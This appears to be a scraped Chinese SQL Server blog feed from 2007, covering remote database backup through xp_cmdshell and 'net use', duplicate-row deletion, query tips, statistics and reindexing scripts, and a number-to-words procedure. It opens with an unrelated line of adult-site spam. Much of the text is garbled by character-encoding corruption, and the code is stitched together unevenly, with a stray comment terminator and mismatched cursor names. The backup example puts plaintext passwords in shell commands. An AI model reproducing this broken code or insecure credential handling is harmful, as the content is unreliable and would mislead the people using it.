久色婷婷小香蕉久久,亚洲人成网站77777在线观看,在线日韩一区二区

ms sql �q�程备䆾 job(�?

liaojiyong — Fri, 26 Oct 2007 00:19:00 GMT

mssql数据库远�E�备份的job

/*在远�E�机器操作系�l�的计算机管理里建立一个用户名为dbbackup的用��P��密码�?234�Q�同时在那台机器的非�pȝ��盘里��Z��个名为backup的共享文件夹�Q��ؓ了安全另外设�|�这个文件夹只有�q�个dbbackup用户可以讉K��?/

declare @sql varchar(500)

select @sql='\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),getdate(),112) +

substring(convert(varchar(10),getdate(),108),1,2) +'.bak'

exec master..xp_cmdshell 'net use \\10.2.0.12\backup 1234 /user:remotehost\dbbackup'

backup database dbname to disk=@sql --备䆾数据库，�q�里�?0.2.0.12��E�机器的ip�Q�remotehost��E�机器的机器名，dbname为本地sqlserver服务器要备䆾的数据库

go

declare @sql varchar(500)

select @sql='del '+'\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),dateadd(day,-7,getdate()),112) +

substring(convert(varchar(10),dateadd(day,-7,getdate()),108),1,2) +'.bak'

exec master..xp_cmdshell @sql --删除7天前的备份，也就是只保留7个最新备�?br />

最�q�我在�ؓ公司的框架程序（以数据应用�ؓ导向的应用体�p�）做数据管理模块，�q�个模块的需求比较简单：备䆾、恢复和清理日志。我公司的��Y件基本上以C/S为基本架构，所以数据管理模块中两个主要的功�?#8216;备䆾与恢�?#8217;都可能会在Client端操作，备䆾与恢�?#8217;的文件也都有可能存储在client端，因而这个数据管理模块就必须能够实现在远�E�备份与恢复数据库�?文章的前提阐�q�完了，��p��说说如何具体实现吧。其实都很简单，我想写个�q�程备䆾的测试实�?br /> �l�大家看,��p��够很清楚的描�q�吧�Q?br /> 实例说明�Q?br /> 环境�Q�win2k sqlserver 2K 查询分析�?br /> SQLSERVER服务实例名称:mainserver
需要备份的数据库名�U? msdb
本地机器名称�Q�Client端）�Q�david
本地用户:zf 密码�Q?23
本地域名�Q�domain
本地提供备䆾需求的文�g�?e:\test �W�一�? 建立�׃�n文�g�?br /> 在程序代码中调用�Q�或者CMD�H�口�Q?net share test=e:\test
或者用NetShareAdd�q�个API
��要说明：
net share : 是WINDOWS内部的网�l�命令�?br /> 作用�Q�徏立本地的�׃�n资源�Q�显�C�当前计��机的共享资源信息�?字串8
语法�Q�参�?net share /?
�W�二�? 建立�׃�n信用关系
master..xp_cmdshell 'net use \\david\test 123 /user:domain\zf'
��要说明：
1�Q�xp_cmdshell �Q�是SQLSERVER的扩展存储过�E��?br /> 作用�Q�以操作�pȝ��命��o行解释器的方式执行给定的命��o字符�Ԍ��
�q�以文本行方式返回�Q何输出�?br /> 语法�Q�参见SQLSERVER联机帮助
2:net use : 是WINDOWS内部的网�l�命令�?br /> 作用�Q�将计算��Z��׃�n资源�q�接或断开�Q�或者显�C�关于计��机
�q�接的信息。该命��o�q�控制持久网�l�连接�?br /> 语法�Q�参�?net use /? �W�三�?备䆾数据�?br /> backup database msdb to disk='\\david\test\msdb.bak'
�q�个不需要说明吧�Q�语法参见SQLSERVER联机帮助 �W�四�? 删除�׃�n文�g�?br /> 在程序代码中调用�Q�或者CMD�H�口�Q?net share test /delete
或者用NetShareDel�q�个API
�l�果:
已处�?1376 ��，�q�些��属于数据库 'msdb' 的文�?'MSDBData'�Q�位于文�?1 上）�?

字串1

已处�?1 ��，�q�些��属于数据库 'msdb' 的文�?'MSDBLog'�Q�位于文�?1 上）�?br /> BACKUP DATABASE 操作成功地处理了 1377 ��，��p��?3.653 �U�（3.086 MB/�U�）�?�q�样mainserver服务器上的msdb��备份到了david机器的E:\test\msdb.bak文�g了，使用��h��很简单吧�Q�恢复数据库操作也是一��P��只要��第三个步骤的语句改�?restore database msdb from disk='\\david\test\msdb.bak'��可以啦。。你看完了也可以试试呀�Q�！�Q�最��单的��试工具查询分析�?CMD�H�口�Q�备注：xp_cmdshell �q�个扩展存储�q�程只能SA�U�别的用戯��用，而且是SQLSERVER的安全隐患之一�Q�许多DBA都喜�Ƣ将其删除或者禁用，所以开发�h员��用时要倍加��心哦�?br /> 文章中的例子只是��要的说明了应如何利用扩展存储�q�程实现�q�程备䆾与恢复，没有涉及安全以及其他斚w��的考虑�Q�希望读者在代码中自行完善�?

go

liaojiyong 2007-10-26 08:19 发表评论

SQL Server SQL语句调优技巧（转）

liaojiyong — Thu, 12 Apr 2007 09:25:00 GMT

摘要: 通过例子和解析计划，本文展示了在Microsoft SQL Server上提高查询效率有效的一些技巧。在�~�程中有很多��提�C�和技巧。了解这些技巧可以扩展你在性能优化上的可用��。在�q�部分里我们所有的例子都选择使用Microsoft SHOWPLAN_ALL输出�Q�因为它更紧凑�ƈ且展�C�典型的信息。（Sybase的查询计划基本与此相同，可能包含其它... 阅读全文

liaojiyong 2007-04-12 17:25 发表评论

几个有意思的SQL查询

liaojiyong — Fri, 23 Mar 2007 08:05:00 GMT

/********************************************
DROP TABLE tblMaster
DROP TABLE tblCopy
SELECT * FROM tblMaster
SELECT * FROM tblCopy
DELETE FROM tblMaster
DELETE FROM tblCopy
********************************************/
--Create Table
--创徏�?/font>
CREATE TABLE tblMaster(
id int identity(1,1) not null ,
details varchar(8000) null
)

--Insert Initial Data
--插入初始数据
INSERT INTO tblMaster(details)
SELECT N'A'
UNION ALL
SELECT N'B'
UNION ALL
SELECT N'C'
UNION ALL
SELECT N'��?
UNION ALL
SELECT N'�?
UNION ALL
SELECT N'�?
UNION ALL
SELECT N'�?
UNION ALL
SELECT N'A'
UNION ALL
SELECT N'B'
UNION ALL
SELECT N'��?
UNION ALL
SELECT N'�?
UNION ALL
SELECT N'�?
UNION ALL
SELECT N'�?

--Copy Table,Exclude Data
--复制表，不拷贝数�?/font>
SELECT
TOP 0
*
INTO
tblCopy
FROM
tblMaster
WHERE
1<>1

--Copy data
--拯��数据
INSERT INTO
tblCopy(details)
SELECT
details
FROM
tblMaster

--Caculate Distance Between Two Days
--计算两天之间的时间间�?br>SELECT datediff(day,'2006-12-12','2007-12-12')

--Search From 2th Record and 6th Record
--查询从第二条记录到第六条记录
SELECT
*
FROM
(
  SELECT
   top 5 *
   FROM (
     SELECT
      top 6 id,details
      FROM tblMaster
     ORDER BY
      id asc
    ) a
  ORDER BY
   id desc
) T
ORDER BY
id asc

--Choose some Records Random
--随机选取几条数据
SELECT
top 3 *
FROM
tblMaster
ORDER BY
newID()

--Delete Duplicated Data
--删除重复数据
DELETE FROM
tblCopy
Where
id not in(
  SELECT
    min(id)
  FROM
   tblCopy
  Group by
   details
)

--if the value of tblMaster.details == null then the following clauses have different values
--如果details列有null�?那么如下两条语句得到的返回��g��{?br>SELECT
count(*)
FROM
tblMaster

SELECT
count(details)
FROM
tblMaster

--Password Encrypt return 1:equel;return 0:not equel
--密码加密 �q�回1:相等;�q�回2:不相�{?/font>
SELECT pwdcompare('123',pwdencrypt('123'),0)

liaojiyong 2007-03-23 16:05 发表评论

liaojiyong — Fri, 23 Mar 2007 03:31:00 GMT

作者： TechRepublic.com
Friday, March 5 2004 9:51 AM

基数�Q�度量在数据集中可以存在多少个唯一倹{�?br />

密度�Q�度量在数据集中唯一值的个数。密度通过如下�Ҏ��得到�Q�给定键值的行数除以数据表的总行数。优化器��忽略高密度的烦引�?br />

选择率：度量对于一个特定的查询��返回查询结果的行数。选择率通过如下�Ҏ��得到�Q�查询关键字的个数除以查询得到的行数。要计算查询规划的相�Ҏ��本，优化器需要一个有效的选择率来度量�?

随着列中数据的变化，索引和列�l�计信息��变得没有用处了�Q�这样将��D��优化器在军_��如何处理查询时达不到最优性能。因此，�Ҏ��数据表中数据的变化，SQL服务器系�l�周期的自动更新�q�些�l�计信息。通过对这些数据的采样�Q�这�U�统计信息的自动更新��得成本降到最低，而且不需要对全部数据�q�行分析�?

最��x��能
在一个复杂的数据库表中设计�ƈ指定索引是一仉��常棘手的��d��。幸�q�的是，SQL服务器系�l�有一个内�|�的调节向导来帮助你建立最优的�l�计和烦引集合。要提高数据库的查询性能�Q�可以通过�q�行向导来提供一个基于脚本的��列表�?

对于SQL服务器查询优化器如何工作�q�一部分懂得��多�Q�你��׃��知道对于特定的情形�ؓ什么只能用向导的徏议来实现。但是，对于动态系�l�来��_��最佳的数据库性能分析部分��需要进行周期性地更新。理解查询烦引性能中的每个�l�计度量的真正含义将有助于你在管理决�{�方面有一个良好的知识基础�?/p>

特别说明�Q?/b>
在微软的SQL服务器系�l�中�Q�对数据库查询功能进行适当的优化需要懂得一些基本的查询索引和性能�l�计斚w��的知识。熟悉该�pȝ��的优化工作是如何实现的将有助于提高决�{�的正确性�?

随着你对微��Y的SQL服务器数据库实现的逐渐熟悉�Q�性能优化的需求也��进一步增加。徏立一个真正实现最优查询功能的数据库环境的�W�一步是要懂得SQL服务器系�l�的优化器是如何工作的�?

索引
虽然对于特定的查询来��_��q�行查询规划和性能优化可能只需要少量的成本估算与比较，也可以没有成本估��与比较�Q�但是大多数的查询将从实现完全优化的工作中受益。提高查询性能的最有效的方法之一��是创徏一个高效率的烦引。一个构架良好的索引在执行查询工作的时候可以避免出现扫描整个数据表的情��c�?

在创建烦引的时候，SQL服务器系�l�将自动度量和存储那些与索引列相关的分布状态值相对应的统计信息。这些统计信息常常被优化器用来评估查询的优化�{�略是否合理�?

有两�U�类型的索引�Q�clustered索引和non-clustered索引�Q�根据数据集合的不同�Q�每�U�类型的索引都有各自独特的优炏V�?

clustered索引要求数据表中数据按照��序存储。因为数据已�l�排序，所以对于查找一定范围的索引值时clustered 索引是非常有效的。对于查扑օ�有唯一索引值的行信息来��_��q�种�c�d��的烦引性能也优于其他类型的索引�?

non-clustered索引和教�U�书中的索引非常�怼��Q�烦引在一个位�|�而其数据值却在另外一个位�|�。对于一个数据值的查询搜烦来说�Q�首先搜索non-clustered的烦引，扑ֈ�数据值在数据表中的位�|�，然后直接从这个位�|�得到数据。non-clustered 索引对于�_��匚w��查询是非常有用的�?

�l�计�?/b>
作�ؓ一�U�常用的规则�Q�和大多数商业��用需求一��P��索引的数量应该尽可能��，以减��与每个查询相关的处理过�E�。如果要分析和优化查询的性能�Q�首先应该度量和攉��数据的统计特性�?

SQL服务器系�l�能够维护烦引值的数据�l�计�Ҏ��。如果对其进行适当的配�|�，对于非烦引��g��能够�q�行�l�计度量�?

对于性能优化�Q�数据库��理员应该懂得几个基本的�l�计概念�Q�这些概�늚�定义如下�Q?

更新索引�l�计
分布��面�q�不是每�ơ一个记录更新时都要�q�行更新.在大型数据库�?�q�会��D��巨大的性能损失.因此,当用户初始创��Z��个空表时,分布��面仍是�I�的.它仅在发生如下情冉|��才被更新:
1.用户在一个已存在数据表上创徏一个烦�?
2.用户�q�行了update satatic语句
从系�l�管理员角度来看,用户应该创徏一个工��h��自动地更新分布页�?自动更新应该臛_��每周一��?如果数据量每天增�?0%以上则应每天一��?
因�ؓ不可能每天都��d��索引,用户需要��用update statistics语句更新分布��面,用以优化SQLserver.

UPDATE STATISTICS
在指定的表或索引视图中，对一个或多个�l�计�l�（集合�Q�有关键值分发的信息�q�行更新。若要基于列生成�l�计�Q�请参见 CREATE STATISTICS。�?/p>

语法
UPDATE STATISTICS table | view
    [
        index
        | ( statistics_name [ ,...n ] )
    ]
    [    WITH
        [
            [ FULLSCAN ]
            | SAMPLE number { PERCENT | ROWS } ]
            | RESAMPLE
        ]
        [ [ , ] [ ALL | COLUMNS | INDEX ]
        [ [ , ] NORECOMPUTE ]
    ]

参数
table | view

要更新统计的表或索引视图的名�U�。表名和视图名必��ȝ��合标识符的规则。有��x��多信息，请参见��用标识符。由于烦引名在每个数据库中不唯一�Q�所以必��L��定 table 或 view。可选择指定数据库、表或视图所有者。只有在 Microsoft? SQL Server? 2000 企业版中才支持烦引视图�?/p>

index

要更新统计的索引。烦引名必须�W�合标识�W�的规则。如果未指定 index�Q�则更新指定表或索引视图中的所有烦引的分发�l�计。若要查看烦引名和描�q�的列表�Q�请带表名或视图名执行 sp_helpindex�?/p>

statistics_name

要更新的�l�计�l�（集合�Q�的名称。统计名�U�必��ȝ��合标识符规则。有关生成统计组的更多信息，请参见 CREATE STATISTICS�?/p>

是表�C�可以指定多个 statistic_name �l�的占位�W��?/p>

FULLSCAN

指定应读取 table 或 view 中的所有行以收集统计。FULLSCAN 提供与 SAMPLE 100 PERCENT 相同的行为。FULLSCAN 不能与 SAMPLE 选项一起��用�?/p>

SAMPLE number { PERCENT | ROWS }

当�ؓ较大的表或视图收集统计时�Q�指定要采样的表或烦引视囄��癑ֈ�比或行数。number 只允�怋�用整敎ͼ�无论它是 PERCENT �q�是 ROWS。若要对较大的表或视图��用默认采栯��为，请将 SAMPLE number 和 PERCENT 或 ROWS 一起��用。Microsoft SQL Server ��确保值的采样��C��低于某一数目�Q�以保证�l�计有用。如果 PERCENT、ROWS 或 number 选项��D��要采��L��行数�q�小�Q�SQL Server 则自动根据表或视图中的现有行数改正采栗��?/p>

说明默认行�ؓ是在目标表或索引视图上进行采��h��描。SQL Server 自动计算所需的样本大��?/p>

RESAMPLE

指定使用从所有现有统计（包括索引�Q��承的采样速率来收集统计。如果采样速率��D��要采��L��行过��，SQL Server 则自动根据表或视图中的现有行数改正采栗��?/p>

ALL | COLUMNS | INDEX

指定 UPDATE STATISTICS 语句是否影响列统计、烦引统计或所有现有统计。如果未指定选项�Q�则 UPDATE STATISTICS 语句影响所有的�l�计。每个 UPDATE STATISTICS 语句只能指定一�U�类型（ALL、COLUMNS 或 INDEX�Q�。�?/p>

NORECOMPUTE

指定�q�期�l�计不自动重新计��。统计过期与否取决于在烦引列上进行的 INSERT、UPDATE 和 DELETE 操作的数量。指定该选项�Ӟ��导臾b�SQL Server ��用自动�l�计重徏功能。若要还原自动统计重新计��，请重新执行 UPDATE STATISTICS�Q�不要 NORECOMPUTE 选项�Q�，或者执行 sp_autostats�?/p>

重要 ��用自动�l�计重新计算会导臾b�SQL Server 查询优化器对于涉及指定表的查询选择非最佳的�{�略�?/p>

注释
SQL Server 保留每个索引中关于键值分发的�l�计�Q��ƈ且��用这些统计来军_��查询处理中��用哪个（或哪些）索引。用户可以通过使用 CREATE STATISTICS 语句生成��Z��非烦引列的统计。查询优化依赖于分发步骤的准��性：

如果索引中的键值有显著变化�Q�请�Ҏ��索引重新�q�行 UPDATE STATISTICS�?/p>

如果索引列中��d��、更�Ҏ��删除大量数据�Q�即如果键值分发更改）�Q�或者用 TRUNCATE TABLE 语句��表截断然后重新填充�Q�请使用 UPDATE STATISTICS。�?br />若要查看�l�计最�q�一�ơ更新的旉��Q�请使用 STATS_DATE 函数�?/p>

只有当能够在计算列上创徏索引�Ӟ��才可以在包含�q�些计算列的表上创徏或更新统计。有兛_��计算列上创徏索引的要求和限制的更多信息，请参见 CREATE INDEX�?/p>

权限
UPDATE STATISTICS 权限默认授予表或视图的所有者，�q�且该权限不可�{让�?/p>

�C�Z��
A. 更新单个表的所有统�?br />本示例更新表 authors 上的所有烦引分发统计�?/p>

UPDATE STATISTICS authors

B. 仅更新单一索引的统�?br />本示例仅更新表 authors 的烦引 au_id_ind 的分发信息。�?/p>

UPDATE STATISTICS authors au_id_ind

C. 使用 50% 采样更新特定�l�计�l�（集合�Q�的�l�计
本示例首先创�� authors 中 au_lname 列和 au_fname 列的�l�计�l�，然后对其�q�行更新�?/p>

CREATE STATISTICS anames
   ON authors (au_lname, au_fname)
   WITH SAMPLE 50 PERCENT
GO
-- Time passes. The UPDATE STATISTICS statement is then executed.
UPDATE STATISTICS authors(anames)
   WITH SAMPLE 50 PERCENT
GO

D. 使用 FULLSCAN 和 NORECOMPUTE 更新特定�l�计�l�（集合�Q�的�l�计
本示例更新表 authors 中的 anames �l�计�l�（集合�Q�，强制对表 authors 中的所有行�q�行完全扫描�Q��ƈ且关闭该�l�计�l�（集合�Q�的自动�l�计更新�?/p>

UPDATE STATISTICS authors(anames)
WITH FULLSCAN, NORECOMPUTE

sp_updatestats对当前数据库中所有用户定义的表运行 UPDATE STATISTICS�?/p>

语法
sp_updatestats [[@resample =] ''resample'']

�q�回代码�?br />0�Q�成功）或�?�Q�失败）

参数
[@resample =] ''resample''

指定 sp_updatestats ��用 UPDATE STATISTICS 命��o的 RESAMPLE 选项。新�l�计表将�l�承旧统计表的采��h��率。如果未指定 ''resample''�Q�则 sp_updatestats 使用默认采样更新�l�计表。该参数的数据类型�ؓ varchar(8)�Q�默认��gؓ ''NO''�?/p>

注释
sp_updatestats 会显�C��C�其�q�度的消息。完成更��C��后，该存储过�E�将报告已�ؓ所有的表更��C��l�计信息。�?/p>

权限
只有 DBO 和 sysadmin 固定服务器角色的成员才能执行该过�E��?/p>

�C�Z��
下例为数据库 pubs 中的表更新统计信息�?/p>

USE pubs
EXEC sp_updatestats

Sqlserver7 �~�程技术内�q�提供的�Ҏ��.

drop proc pr_updateindex
create proc pr_updateindex
as
set nocount on
declare get_index_curs cursor
for select name--tablename
from sysobjects --systemtable
where type=''u'' -usertable

declare @holdtable varchar(30)
declare @message varchar(40)
declare @dynamic varchar(51)

open getindex_curs
fetch next from getindex_curs into @holdtable
while @@fetch_status=0
begin
   select @dynamic=''update statistics ''+@holdtable
   select @message=''updating''+@holdtable
   exec(@dynamic)
  print @message
  fetch next from getindex_curs into @holdtable
end
  close getindex_curs

Copyright (C) 2003 Cameron Michelis copying and redistribution of this file is permitted provided
this notice and the above comments are preserved.
*/

Set quoted_identifier off
use master
DECLARE @fillfactor varchar(2)
DECLARE @tablename varchar(30)
DECLARE @tablename_header varchar(75)
DECLARE @dataname varchar(30)
DECLARE @dataname_header varchar(75)
DECLARE datanames_cursor CURSOR FOR SELECT name FROM sysdatabases
WHERE name not in ('master', 'pubs', 'tempdb', 'model', 'northwind')
/* Variable Initialization */
select @fillfactor = "0" -- Set Fill factor here
-- Note "0" will use original fillfactor.
/* End Variable Initialization */
OPEN datanames_cursor

FETCH NEXT FROM datanames_cursor INTO @dataname

  WHILE (@@fetch_status <> -1)
    BEGIN
      IF (@@fetch_status = -2)
        BEGIN
  FETCH NEXT FROM datanames_cursor INTO @dataname
           CONTINUE
        END
SELECT @dataname_header = "Database " + RTRIM(UPPER(@dataname))
       PRINT " "
PRINT @dataname_header
       PRINT " "
EXEC ("USE " + @dataname + " DECLARE tnames_cursor CURSOR FOR SELECT name from sysobjects where type = 'U'")
Select @dataname_header = RTRIM(UPPER(@dataname))
Exec ("Use " + @dataname)
OPEN tnames_cursor
  FETCH NEXT FROM tnames_cursor INTO @tablename
  WHILE (@@fetch_status <> -1)
          BEGIN
             IF (@@fetch_status = -2)
    BEGIN
                  FETCH NEXT FROM tnames_cursor INTO @tablename
                  CONTINUE
               END
        SELECT @tablename_header = "  Updating " + RTRIM(UPPER(@tablename))
    PRINT ""
             PRINT @tablename_header
    EXEC ("USE " + @dataname + " DBCC DBREINDEX (" + @tablename + "," + "''" + "," + @fillfactor + ")")
    EXEC ("USE " + @dataname + " UPDATE STATISTICS " + @tablename)
    FETCH NEXT FROM tnames_cursor INTO @tablename
          END
DEALLOCATE tnames_cursor
       FETCH NEXT FROM datanames_cursor INTO @dataname
      END
DEALLOCATE datanames_cursor
PRINT ""
PRINT " "
PRINT "Indexing complete for All User Databases"

SET QUOTED_IDENTIFIER OFF

/* Start with master DB */
USE master

/* Create Variables */
DECLARE 	@DBName 	CHAR(64)
DECLARE 	@TableName 	CHAR(64)
DECLARE		@FQTableName	CHAR(64)
DECLARE		@TempVar	CHAR(256)

/* Create DB List */
DECLARE 	DBCursor 	CURSOR FOR
	SELECT		name
		FROM	master..sysdatabases

OPEN		DBCursor

FETCH NEXT
	FROM	DBCursor
	INTO	@DBName

/* Create Database Loop */
WHILE @@FETCH_STATUS = 0
	BEGIN
		/* Retrieve Table List */
		PRINT 'Retrieving Table List for DB ' + @DBName
		
		EXEC ('SELECT name AS TableName INTO ##TableNames FROM [' + @DBName + ']..sysobjects WHERE type = ''U''')		

		/* Open Table List */
		DECLARE		TableCursor 	CURSOR FOR
			SELECT		TableName
				FROM	##TableNames

		OPEN TableCursor
		
		FETCH NEXT
			FROM	TableCursor
			INTO	@TableName
		
		/* Create Table Loop */
		WHILE @@FETCH_STATUS = 0
			BEGIN
				/* Add DB Name to Table Name */
				SELECT @FQTableName = QUOTENAME(RTRIM(@DBName)) + '..' + QUOTENAME(RTRIM(@TableName))
				SELECT @TableName = RTRIM(@DBName) + '..' + RTRIM(@TableName)
				
				/* ReIndex Table */
				PRINT 'ReIndexing Table ' + @TableName
				DBCC DBREINDEX(@TableName)
				
				/* Update Statics on Table */
				PRINT 'Updating Statistics on Table ' + @TableName
				EXEC ('UPDATE STATISTICS ' + @FQTableName)
				
				/* Get Next Table Name */
				FETCH NEXT
					FROM TableCursor
					INTO @TableName
			END
		
		/* Close Table Cursor */
		CLOSE		TableCursor
		DEALLOCATE	TableCursor

		/* Remove Tempory Table */
		DROP TABLE ##TableNames
		
		/* Preform DB Checks */
		PRINT 'Preforming DB Checks on ' + @DBName
		DBCC CHECKDB (@DBName)

		/* Get Next Table Name */
		FETCH NEXT
			FROM DBCursor
			INTO @DBName
	END

/* Close DB Curosor */
CLOSE		DBCursor
DEALLOCATE	DBCursor

/* Finished */

liaojiyong 2007-03-23 11:31 发表评论

liaojiyong — Tue, 20 Mar 2007 09:07:00 GMT

在几千条记录�?存在着些相同的记录,如何能用SQL语句,删除掉重复的�?

1、查找表中多余的重复记录�Q�重复记录是�Ҏ��单个字段�Q�peopleId�Q�来判断
select * from people
where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1)

2、删除表中多余的重复记录�Q�重复记录是�Ҏ��单个字段�Q�peopleId�Q�来判断�Q�只留有rowid最��的记录
delete from people
where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1)
and rowid not in (select min(rowid) from people group by peopleId having count(peopleId )>1)

3、查找表中多余的重复记录�Q�多个字�D�）
select * from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)

4、删除表中多余的重复记录�Q�多个字�D�）�Q�只留有rowid最��的记录
delete from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)

5、查找表中多余的重复记录�Q�多个字�D�）�Q�不包含rowid最��的记录
select * from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)

liaojiyong 2007-03-20 17:07 发表评论

liaojiyong — Mon, 19 Mar 2007 06:18:00 GMT

1)一�ơ插入多条数据时:
CREATE TABLE tb(ID int, 名称 NVARCHAR(30), 备注 NVARCHAR(1000))
INSERT tb   SELECT 1,'DDD',1
UNION ALL        SELECT 1,'5100','D'
UNION ALL        SELECT 1,'5200','E'

也可以这�?
CREATE TABLE tb1(ID int, 名称 NVARCHAR(30), 备注 NVARCHAR(1000))
INSERT TB1 (ID,名称,备注)VALUES(1,'DDD',1)
INSERT TB1 (ID,名称,备注)VALUES(1,'5100','D')
INSERT TB1 (ID,名称,备注)VALUES(1,'5200','E')
_________________________________
上面两种�Ҏ��,哪种�Ҏ��效率�?

(2)赋值时:
SELECT @a=N'aa'
SET @a=N'aa'
_________________________________
上面两种�Ҏ��,哪种�Ҏ��效率�?

(3)取前几条数据�?br />set ROWCOUNT 2 select * from tb order by fd
select Top 2 * from tb order by fd
_________________________________
上面两种�Ҏ��,哪种�Ҏ��效率�?

(4)条�g判断�?br /> where 0<(select count(*) from tb where ……）
where exists(select * from tb where ……）
_________________________________
上面两种�Ҏ��,哪种�Ҏ��效率�?

(5)NULLIF的��?---->同理它的反函数ISNULL的��?br />update tb set fd=case when fd=1 then null else fd end
update tb set fd=nullif(fd,1)
_________________________________
上面两种�Ҏ��,哪种�Ҏ��效率�?

�Q?�Q�从字符串中取子字符串时
substring('abcdefg',1,3)
left('abcderg',3)_
________________________________
上面两种�Ҏ��,哪种�Ҏ��效率�?

(7)EXCEPT和Not in的区�?

(8)INTERSECT和UNION的区�?

(1)一�ơ插入多条数据时:

�W?�U�好一�? 但也得有�? 因�ؓ�W?�U�的union all是做��Z��个语句整�? 查询优化器会��试做优�? 同时, 也要先算��个结果再插入�?

2. 如果是单个赋�? 没有什么好比较的话.
不过, 如果是�ؓ多个变量赋�? 我测试过, SELECT 一�ơ性赋�? 比用SET 逐个赋值效率好.
3. SET ROWCOUNT和TOP 是一��L��, 包括执行的计划等都是一��L��

4. �q�个一般是exists�? 当然, 具体�q�要看你后面的子查询的条�? 是否会引用外层查询中的对象的�?
exists��查到有值就�q�回, 而且不返回结果集, count需要统计出所有满��x��件的, 再返回一个结果集, 所以一般情况下exists�?

5. 应该是一��L��

6. 基本上是一��L��
7. except会去重复, not in 不会(除非你在select中显式指�?
except用于比较的列是所有列, 除非写子查询限制�? not in 没有�q�种情况
8. intersect是两个查询都有的非重复�?交集), union是两个查询结果的所有不重复�?�q��)

liaojiyong 2007-03-19 14:18 发表评论

liaojiyong — Tue, 16 Jan 2007 07:49:00 GMT

/***************************************************************************************************************/
CREATE Procedure stpMoneyFromNumberToEnglishDecimalFraction
@num numeric(18,2),
@result varchar(500) output
AS
BEGIN
DECLARE @i int,@hundreds int,@tenth int,@one int
DECLARE @thousand int,@million int,@billion int,@trillion int
DECLARE @numbers varchar(500),@s varchar(18)
SET @numbers='one       two       three     four      five      '
              +'six       seven     eight     nine      ten       '
              +'eleven    twelve    thirteen fourteen fifteen   '
              +'sixteen   seventeen eighteen nineteen '
              +'twenty    thirty    forty     fifty     '
              +'sixty     seventy   eighty    ninety    '
Print @num
SET @s=RIGHT('000000000000000000'+CAST(@num AS varchar(18)),18)
SET @trillion=CAST(SUBSTRING(@s,1,3) AS int)
SET @billion=CAST(SUBSTRING(@s,4,3) AS int)
SET @million=CAST(SUBSTRING(@s,7,3) AS int)
SET @thousand=CAST(SUBSTRING(@s,10,3) AS int)
SET @result=''
SET @i=0
If @num <> 0
Begin
    WHILE @i<=4
    BEGIN
      SET @hundreds=CAST(SUBSTRING(@s,@i*3+1,1) AS int)
      SET @tenth=CAST(SUBSTRING(@s,@i*3+2,1) AS int)
      SET @one=(CASE @tenth WHEN 1 THEN 10 ELSE 0 END)+CAST(SUBSTRING(@s,@i*3+3,1) AS int)
      SET @tenth=(CASE WHEN @tenth<=1 THEN 0 ELSE @tenth END)
      IF (@i=1 and @trillion>0 and (@billion>0 or @million>0 or @thousand>0 or @hundreds>0)) or
         (@i=2 and (@trillion>0 or @billion>0) and (@million>0 or @thousand>0 or @hundreds>0)) or
         (@i=3 and (@trillion>0 or @billion>0 or @million>0) and (@thousand>0 or @hundreds>0)) or
         (@i=4 and (@trillion>0 or (@billion>0 or @million>0 or @thousand>0) and @hundreds>0))
      SET @result=@result+', '
       IF ((@i=3 or @i=4) and (@trillion>0 or @billion>0 or @million>0 or @thousand>0) and (@hundreds=0 and (@tenth>0 or @one>0)))
         SET @result=@result+' and '
       IF @hundreds>0
         SET @result=@result+RTRIM(SUBSTRING(@numbers,@hundreds*10-9,10))+' hundred'
       IF @tenth>=2 and @tenth<=9
       BEGIN
         IF @hundreds>0
           SET @result=@result+' and '
         SET @result=@result+RTRIM(SUBSTRING(@numbers,@tenth*10+171,10))
       END
       IF @one>=1 and @one<=19
       BEGIN
         IF @tenth>0
           SET @result=@result+'-'
         ELSE
           IF @hundreds>0
         SET @result=@result+' and '
         SET @result=@result+RTRIM(SUBSTRING(@numbers,@one*10-9,10))
       END
       IF @i=0 and @trillion>0
         SET @result=@result+' trillion'
       IF @i=1 and @billion>0
         SET @result=@result+' billion'
       IF @i=2 and @million>0
         SET @result=@result+' million'
       IF @i=3 and @thousand>0
         SET @result=@result+' thousand'
       SET @i=@i+1
    END
    If SUBSTRING(@s,1,15) <> '000000000000000'
    Begin
      If @num > 1
       SET @result=@result+' Dollars and'
      Else
       SET @result=@result+' Dollar and'
      IF SUBSTRING(@s,17,2)<>'00'
      BEGIN
      IF SUBSTRING(@s,17,1)>='2' and SUBSTRING(@s,17,1)<='9'
      BEGIN
        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,1)*10+171,10))
        If SUBSTRING(@s,18,1)>='1' and SUBSTRING(@s,18,1)<='9'
        SET @result=@result + '-' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,18,1)*10-9,10))
      END Else
      IF SUBSTRING(@s,17,2)>='1' and SUBSTRING(@s,17,2)<='19'
      BEGIN
        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,2)*10-9,10))
      END
         If (@num-Floor(@num))*100 > 1
         SET @result=@result + ' Cents'
       Else
         SET @result=@result + ' Cent'
      End else
      Begin
        SET @result=SUBSTRING(@result,0,len(@result)-3)
      End
    End Else
    Begin
      IF SUBSTRING(@s,17,1)>='2' and SUBSTRING(@s,17,1)<='9'
      BEGIN
        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,1)*10+171,10))
        If SUBSTRING(@s,18,1)>='1' and SUBSTRING(@s,18,1)<='9'
        SET @result=@result + '-' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,18,1)*10-9,10))
      END Else
      IF SUBSTRING(@s,17,2)>='1' and SUBSTRING(@s,17,2)<='19'
      BEGIN
        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,2)*10-9,10))
      END
      If (@num-Floor(@num))*100 > 1
       SET @result=@result + ' Cents'
      Else
       SET @result=@result + ' Cent'
    End
    Set @result=LTRIM(@result)
End Else
    Set @result= 'Zero Dollar'
END
GO
--Drop Procedure    fMoneyFromNumberToEnglishDecimalFraction
